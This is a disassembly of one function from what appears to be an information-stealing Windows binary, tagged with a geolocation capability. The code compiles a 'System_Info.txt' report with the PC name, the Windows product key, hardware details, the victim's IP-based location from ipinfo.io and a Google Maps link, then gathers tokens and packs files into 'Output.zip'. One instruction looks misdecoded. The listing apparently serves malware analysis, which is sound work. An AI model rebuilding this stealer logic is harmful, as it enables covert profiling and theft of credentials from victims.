Function at 0x14000f570
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb98
mov rax, qword [0x14026b8a0]
xor rax, rsp
mov qword [rsp + 0xb80], rax
mov dword [rsp + 0x30], 0
mov r8b, 0x5c
lea rdx, [0x140275fc0]
lea rcx, [rsp + 0x538]
call fcn.140024700
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
lea r8, str.System_Info.txt
mov rdx, qword [rsp + 0x98]
lea rcx, [rsp + 0x8c8]
call fcn.140022560
nop
lea rcx, [rsp + 0x538]
call fcn.1400172f0
lea rcx, [rsp + 0x8c8]
call fcn.140016f10
mov qword [rsp + 0xa0], rax
mov edx, 0x108
lea rcx, [rsp + 0x930]
call fcn.1400045f0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
mov rdx, qword [rsp + 0xa0]
lea rcx, [rsp + 0x930]
call fcn.140013590
nop
lea rcx, [rsp + 0x8a8]
call fcn.140017610
nop
lea rcx, [rsp + 0x888]
call fcn.140017610
nop
lea r8, [rsp + 0x888]
lea rdx, [rsp + 0x8a8]
mov rcx, qword [rsp + 0xbb0]
call fcn.14000ecf0
mov edx, 0x18
lea rcx, [rsp + 0x848]
call fcn.1400045f0
lea rcx, [rsp + 0x848]
call fcn.140011240
nop
lea rdx, [rsp + 0x848]
lea rcx, [rsp + 0x860]
call fcn.14000bdf0
lea rdx, str.PC:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [0x140275fa0]
mov rcx, rax
call fcn.140024be0
lea rdx, [0x14023e628]
mov rcx, rax
call fcn.1400247c0
lea rdx, str.Windows_Key:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x8a8]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.Product:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x888]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.Ram:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
mov qword [rsp + 0xb8], rax
movsd xmm0, qword [rsp + 0x860]
movsd qword [rsp + 0xb0], xmm0
movsd xmm1, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb8]
call fcn.140013940
lea rdx, [0x14023e628]
mov rcx, rax
call fcn.1400247c0
mov dword [rsp + 0x3c], 0
jmp 0x14000f7a5
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
movsxd rax, dword [rsp + 0x3c]
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x848]
call fcn.140013450
mov rcx, qword [rsp + 0xc0]
cmp rcx, rax
jae 0x14000f860
lea rdx, str.Disk
lea rcx, [rsp + 0x930]
call fcn.1400247c0
mov qword [rsp + 0xc8], rax
mov edx, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0xc8]
call fcn.140013e20
lea rdx, [0x14023e660]
mov rcx, rax
call fcn.1400247c0
mov qword [rsp + 0xd8], rax
movsxd rax, dword [rsp + 0x3c]
mov rdx, rax
lea rcx, [rsp + 0x848]
call fcn.140013420
movsd xmm0, qword [rax]
movsd qword [rsp + 0xd0], xmm0
movsd xmm1, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xd8]
call fcn.140013940
lea rdx, [0x14023e65c]
mov rcx, rax
call fcn.1400247c0
jmp 0x14000f79b
lea rdx, [0x14023e628]
lea rcx, [rsp + 0x930]
call fcn.1400247c0
mov edx, 0x138
lea rcx, [rsp + 0xa40]
call fcn.1400045f0
lea rdx, str.https:__ipinfo.io_json
lea rcx, [rsp + 0x480]
call fcn.1400078c0
nop
lea rax, [rsp + 0x4a0]
mov r8, rax
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x508]
call fcn.140005590
lea rcx, [rsp + 0x400]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0x400]
lea rcx, [rsp + 0x6f8]
call fcn.140007730
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xe8], rax
mov rdx, qword [rsp + 0xe8]
lea rcx, [rsp + 0xa40]
call fcn.140024c30
nop
lea rcx, [rsp + 0x6f8]
call fcn.1400077c0
nop
lea r9, [fcn.1400172f0]
mov r8d, 1
mov edx, 0x20
lea rcx, [rsp + 0x480]
call fcn.1400d7030
lea rax, [rsp + 0x720]
mov qword [rsp + 0xf0], rax
xor edx, edx
mov rcx, qword [rsp + 0xf0]
call fcn.1400133a0
mov qword [rsp + 0xf8], rax
mov byte [rsp + 0x20], 0
mov r9b, 1
mov r8, qword [rsp + 0xf8]
lea rdx, [rsp + 0xa58]
lea rcx, [rsp + 0x768]
call fcn.140024ce0
nop
lea rdx, [0x14023e688]
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x100], rax
lea rdx, [rsp + 0x828]
mov rcx, qword [rsp + 0x100]
call fcn.1400245b0
nop
lea rdx, str.city
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x108], rax
lea rdx, [rsp + 0x808]
mov rcx, qword [rsp + 0x108]
call fcn.1400245b0
nop
lea rdx, str.country
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x110], rax
lea rdx, [rsp + 0x7e8]
mov rcx, qword [rsp + 0x110]
call fcn.1400245b0
nop
lea rdx, str.region
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x118], rax
lea rdx, [rsp + 0x7c8]
mov rcx, qword [rsp + 0x118]
call fcn.1400245b0
nop
lea rdx, [0x14023e6a8]
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x120], rax
lea rdx, [rsp + 0x7a8]
mov rcx, qword [rsp + 0x120]
call fcn.1400245b0
nop
lea rdx, [0x14023e6ac]
lea rcx, [rsp + 0x768]
call fcn.140024570
mov qword [rsp + 0x128], rax
lea rdx, [rsp + 0x788]
mov rcx, qword [rsp + 0x128]
call fcn.1400245b0
nop
lea rdx, [rsp + 0x380]
lea rcx, [rsp + 0x828]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x150], rax
mov byte [rsp + 0x34], 0x22
lea rdx, [rsp + 0x388]
lea rcx, [rsp + 0x828]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x828]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x140], rax
lea r9, [rsp + 0x34]
mov r8, qword [rsp + 0x138]
mov rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0x398]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x158], rax
mov r9, qword [rsp + 0x150]
mov r8, qword [rsp + 0x158]
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x828]
call fcn.140017030
lea rdx, [rsp + 0x3a8]
lea rcx, [rsp + 0x808]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x180], rax
mov byte [rsp + 0x35], 0x22
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x808]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x168], rax
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0x808]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x170], rax
lea r9, [rsp + 0x35]
mov r8, qword [rsp + 0x168]
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x3c0]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x188], rax
mov r9, qword [rsp + 0x180]
mov r8, qword [rsp + 0x188]
lea rdx, [rsp + 0x3c8]
lea rcx, [rsp + 0x808]
call fcn.140017030
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x7e8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x1b0], rax
mov byte [rsp + 0x36], 0x22
lea rdx, [rsp + 0x3d8]
lea rcx, [rsp + 0x7e8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x198], rax
lea rdx, [rsp + 0x3e0]
lea rcx, [rsp + 0x7e8]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x1a0], rax
lea r9, [rsp + 0x36]
mov r8, qword [rsp + 0x198]
mov rdx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x3e8]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x1a8], rax
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x1b8], rax
mov r9, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1b8]
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x7e8]
call fcn.140017030
lea rdx, [rsp + 0x3f8]
lea rcx, [rsp + 0x7c8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x37], 0x22
lea rdx, [rsp + 0x3b8]
lea rcx, [rsp + 0x7c8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x1c8], rax
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x7c8]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x1d0], rax
lea r9, [rsp + 0x37]
mov r8, qword [rsp + 0x1c8]
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x418]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x1d8], rax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x1e8], rax
mov r9, qword [rsp + 0x1e0]
mov r8, qword [rsp + 0x1e8]
lea rdx, [rsp + 0x420]
lea rcx, [rsp + 0x7c8]
call fcn.140017030
lea rdx, [rsp + 0x428]
lea rcx, [rsp + 0x7a8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x1f0], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x210], rax
mov byte [rsp + 0x38], 0x22
lea rdx, [rsp + 0x430]
lea rcx, [rsp + 0x7a8]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x1f8], rax
lea rdx, [rsp + 0x438]
lea rcx, [rsp + 0x7a8]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x200], rax
lea r9, [rsp + 0x38]
mov r8, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x200]
lea rcx, [rsp + 0x440]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x208], rax
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x218], rax
mov r9, qword [rsp + 0x210]
mov r8, qword [rsp + 0x218]
lea rdx, [rsp + 0x448]
lea rcx, [rsp + 0x7a8]
call fcn.140017030
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x788]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x220], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x240], rax
mov byte [rsp + 0x39], 0x22
lea rdx, [rsp + 0x458]
lea rcx, [rsp + 0x788]
call fcn.140016f60
mov rax, qword [rax]
mov qword [rsp + 0x228], rax
lea rdx, [rsp + 0x460]
lea rcx, [rsp + 0x788]
call fcn.140016fd0
mov rax, qword [rax]
mov qword [rsp + 0x230], rax
lea r9, [rsp + 0x39]
mov r8, qword [rsp + 0x228]
mov rdx, qword [rsp + 0x230]
lea rcx, [rsp + 0x468]
call fcn.1400245f0
mov rax, qword [rax]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x248], rax
mov r9, qword [rsp + 0x240]
mov r8, qword [rsp + 0x248]
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x788]
call fcn.140017030
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x828]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x140010024
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x598]
call fcn.1400078c0
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x30]
or eax, 1
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x48], rax
jmp 0x140010059
lea rdx, [rsp + 0x828]
lea rcx, [rsp + 0x4c8]
call fcn.140017670
mov qword [rsp + 0x260], rax
mov eax, dword [rsp + 0x30]
or eax, 2
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x268], rax
mov rdx, qword [rsp + 0x268]
lea rcx, [rsp + 0x828]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 2
test eax, eax
je 0x140010099
and dword [rsp + 0x30], 0xfffffffd
lea rcx, [rsp + 0x4c8]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 1
test eax, eax
je 0x1400100b6
and dword [rsp + 0x30], 0xfffffffe
lea rcx, [rsp + 0x598]
call fcn.1400172f0
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x808]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x140010117
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x578]
call fcn.1400078c0
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x278], rax
mov eax, dword [rsp + 0x30]
xor byte [rbx + 0x448904c8], al
and al, 0x30
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x50], rax
jmp 0x14001014c
lea rdx, [rsp + 0x808]
lea rcx, [rsp + 0x558]
call fcn.140017670
mov qword [rsp + 0x280], rax
mov eax, dword [rsp + 0x30]
or eax, 8
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x288], rax
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x808]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 8
test eax, eax
je 0x14001018c
and dword [rsp + 0x30], 0xfffffff7
lea rcx, [rsp + 0x558]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 4
test eax, eax
je 0x1400101a9
and dword [rsp + 0x30], 0xfffffffb
lea rcx, [rsp + 0x578]
call fcn.1400172f0
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x7e8]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x14001020a
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x5d8]
call fcn.1400078c0
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x298], rax
mov eax, dword [rsp + 0x30]
or eax, 0x10
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x58], rax
jmp 0x14001023f
lea rdx, [rsp + 0x7e8]
lea rcx, [rsp + 0x5b8]
call fcn.140017670
mov qword [rsp + 0x2a0], rax
mov eax, dword [rsp + 0x30]
or eax, 0x20
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x2a8], rax
mov rdx, qword [rsp + 0x2a8]
lea rcx, [rsp + 0x7e8]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 0x20
test eax, eax
je 0x14001027f
and dword [rsp + 0x30], 0xffffffdf
lea rcx, [rsp + 0x5b8]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 0x10
test eax, eax
je 0x14001029c
and dword [rsp + 0x30], 0xffffffef
lea rcx, [rsp + 0x5d8]
call fcn.1400172f0
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x7c8]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x1400102fd
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x618]
call fcn.1400078c0
mov qword [rsp + 0x2b0], rax
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x2b8], rax
mov eax, dword [rsp + 0x30]
or eax, 0x40
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x60], rax
jmp 0x140010333
lea rdx, [rsp + 0x7c8]
lea rcx, [rsp + 0x5f8]
call fcn.140017670
mov qword [rsp + 0x2c0], rax
mov eax, dword [rsp + 0x30]
bts eax, 7
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x2c8], rax
mov rdx, qword [rsp + 0x2c8]
lea rcx, [rsp + 0x7c8]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 0x80
test eax, eax
je 0x140010378
and dword [rsp + 0x30], 0xffffff7f
lea rcx, [rsp + 0x5f8]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 0x40
test eax, eax
je 0x140010395
and dword [rsp + 0x30], 0xffffffbf
lea rcx, [rsp + 0x618]
call fcn.1400172f0
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x7a8]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x1400103f7
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x658]
call fcn.1400078c0
mov qword [rsp + 0x2d0], rax
mov rax, qword [rsp + 0x2d0]
mov qword [rsp + 0x2d8], rax
mov eax, dword [rsp + 0x30]
bts eax, 8
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2d8]
mov qword [rsp + 0x68], rax
jmp 0x14001042d
lea rdx, [rsp + 0x7a8]
lea rcx, [rsp + 0x638]
call fcn.140017670
mov qword [rsp + 0x2e0], rax
mov eax, dword [rsp + 0x30]
bts eax, 9
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x2e8], rax
mov rdx, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x7a8]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 0x200
test eax, eax
je 0x140010472
and dword [rsp + 0x30], 0xfffffdff
lea rcx, [rsp + 0x638]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 0x100
test eax, eax
je 0x140010494
and dword [rsp + 0x30], 0xfffffeff
lea rcx, [rsp + 0x658]
call fcn.1400172f0
lea rdx, [0x14023d973]
lea rcx, [rsp + 0x788]
call fcn.140022dd0
movzx eax, al
test eax, eax
je 0x1400104f6
lea rdx, [0x14023e610]
lea rcx, [rsp + 0x698]
call fcn.1400078c0
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x2f8], rax
mov eax, dword [rsp + 0x30]
bts eax, 0xa
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x2f8]
mov qword [rsp + 0x70], rax
jmp 0x14001052c
lea rdx, [rsp + 0x788]
lea rcx, [rsp + 0x678]
call fcn.140017670
mov qword [rsp + 0x300], rax
mov eax, dword [rsp + 0x30]
bts eax, 0xb
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x308], rax
mov rdx, qword [rsp + 0x308]
lea rcx, [rsp + 0x788]
call fcn.1400173f0
mov eax, dword [rsp + 0x30]
and eax, 0x800
test eax, eax
je 0x140010571
and dword [rsp + 0x30], 0xfffff7ff
lea rcx, [rsp + 0x678]
call fcn.1400172f0
nop
mov eax, dword [rsp + 0x30]
and eax, 0x400
test eax, eax
je 0x140010593
and dword [rsp + 0x30], 0xfffffbff
lea rcx, [rsp + 0x698]
call fcn.1400172f0
lea r8, [rsp + 0x788]
lea rdx, str.https:__www.google.com_maps_search_googlemap
lea rcx, [rsp + 0x8e8]
call fcn.140022ee0
nop
lea rdx, str.ip:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x828]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.city:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x808]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.country:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x7e8]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.region:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x7c8]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.org:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x7a8]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.loc:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x788]
mov rcx, rax
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
lea rdx, str.googleMap:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rdx, [rsp + 0x8e8]
mov rcx, rax
call fcn.140024be0
lea rdx, [0x14023e5d0]
mov rcx, rax
call fcn.1400247c0
mov rcx, qword [rsp + 0xbb0]
call fcn.14000e350
lea rdx, str.Tokens:
lea rcx, [rsp + 0x930]
call fcn.1400247c0
lea rcx, [0x140275f70]
call fcn.1400112c0
test rax, rax
jne 0x140010742
lea rdx, str.No_tokens_found_n
lea rcx, [rsp + 0x930]
call fcn.1400247c0
jmp 0x1400107ea
lea rdx, [0x14023e628]
lea rcx, [rsp + 0x930]
call fcn.1400247c0
mov edx, 8
lea rcx, [rsp + 0x760]
call fcn.1400045f0
lea rdx, [rsp + 0x760]
lea rcx, [0x140275f70]
call fcn.140011320
jmp 0x140010796
xor r8d, r8d
lea rdx, [rsp + 0x478]
lea rcx, [rsp + 0x760]
call fcn.140011100
lea rdx, [rsp + 0x378]
lea rcx, [0x140275f70]
call fcn.1400112e0
mov rdx, rax
lea rcx, [rsp + 0x760]
call fcn.1400110c0
movzx eax, al
test eax, eax
jne 0x1400107ea
lea rcx, [rsp + 0x760]
call fcn.140011170
mov rdx, rax
lea rcx, [rsp + 0x930]
call fcn.140024be0
mov dl, 0xa
mov rcx, rax
call fcn.1400237e0
jmp 0x14001077e
lea rcx, [rsp + 0x930]
call fcn.1400134a0
lea r8, [0x14023e758]
lea rdx, [0x140275fc0]
lea rcx, [rsp + 0x908]
call fcn.140022490
nop
lea rcx, [rsp + 0x908]
call fcn.140016f10
mov qword [rsp + 0x310], rax
xor edx, edx
mov rcx, qword [rsp + 0x310]
call fcn.140056320
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rdx, [0x140275fc0]
lea rcx, [rsp + 0x4a8]
call fcn.140022e90
nop
lea rdx, [rsp + 0x4a8]
lea rcx, [rsp + 0x878]
call fcn.1400068b0
nop
lea rax, [rsp + 0x878]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x4a8]
call fcn.140005670
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x778]
call fcn.1400045f0
lea rax, [rsp + 0x518]
mov qword [rsp + 0x318], rax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x318]
call fcn.140010d10
mov qword [rsp + 0x320], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x778]
call fcn.1400069f0
nop
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x868]
call fcn.1400045f0
lea rax, [rsp + 0x528]
mov qword [rsp + 0x328], rax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x328]
call fcn.140010d10
mov qword [rsp + 0x330], rax
mov rdx, qword [rsp + 0x330]
lea rcx, [rsp + 0x868]
call fcn.140006a90
nop
jmp 0x140010937
lea rcx, [rsp + 0x778]
call fcn.140006930
lea rdx, [rsp + 0x868]
lea rcx, [rsp + 0x778]
call fcn.140006970
movzx eax, al
test eax, eax
jne 0x140010a93
lea rcx, [rsp + 0x778]
call fcn.140006910
mov qword [rsp + 0x80], rax
mov rcx, qword [rsp + 0x80]
call fcn.140006330
mov qword [rsp + 0x338], rax
lea rdx, [rsp + 0x6d8]
mov rcx, qword [rsp + 0x338]
call fcn.140005420
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x348], rax
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x350], rax
lea rdx, [rsp + 0x6b8]
mov rcx, qword [rsp + 0x350]
call fcn.1400053d0
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x360], rax
lea rdx, str.Output.zip
mov rcx, qword [rsp + 0x360]
call fcn.140022dd0
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x6b8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x6d8]
call fcn.140005670
movzx eax, byte [rsp + 0x3a]
test eax, eax
je 0x140010a2c
jmp 0x14001092a
mov rcx, qword [rsp + 0x80]
call fcn.140006330
mov qword [rsp + 0x368], rax
lea rdx, [rsp + 0x4e8]
mov rcx, qword [rsp + 0x368]
call fcn.1400053d0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa8], rax
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xa8]
call fcn.140111360
nop
lea rcx, [rsp + 0x4e8]
call fcn.1400172f0
jmp 0x14001092a
lea rcx, [rsp + 0x868]
call fcn.140006a30
nop
lea rcx, [rsp + 0x778]
call fcn.140006a30
nop
lea rcx, [rsp + 0x878]
call fcn.140006a30
xor edx, edx
mov rcx, qword [rsp + 0x40]
call fcn.140055a10
nop
lea rcx, [rsp + 0x908]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x8e8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x788]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x7a8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x7c8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x7e8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x808]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x828]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x768]
call fcn.1400133f0
nop
lea rcx, [rsp + 0xa40]
call fcn.140010c10
nop
lea rcx, [rsp + 0x848]
call fcn.140013480
nop
lea rcx, [rsp + 0x888]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x8a8]
call fcn.1400172f0
nop
lea rcx, [rsp + 0x930]
call fcn.140010d50
nop
lea rcx, [rsp + 0x8c8]
call fcn.1400172f0
mov rcx, qword [rsp + 0xb80]
xor rcx, rsp
call fcn.1400d6d00
add rsp, 0xb98
pop rdi
pop rsi
ret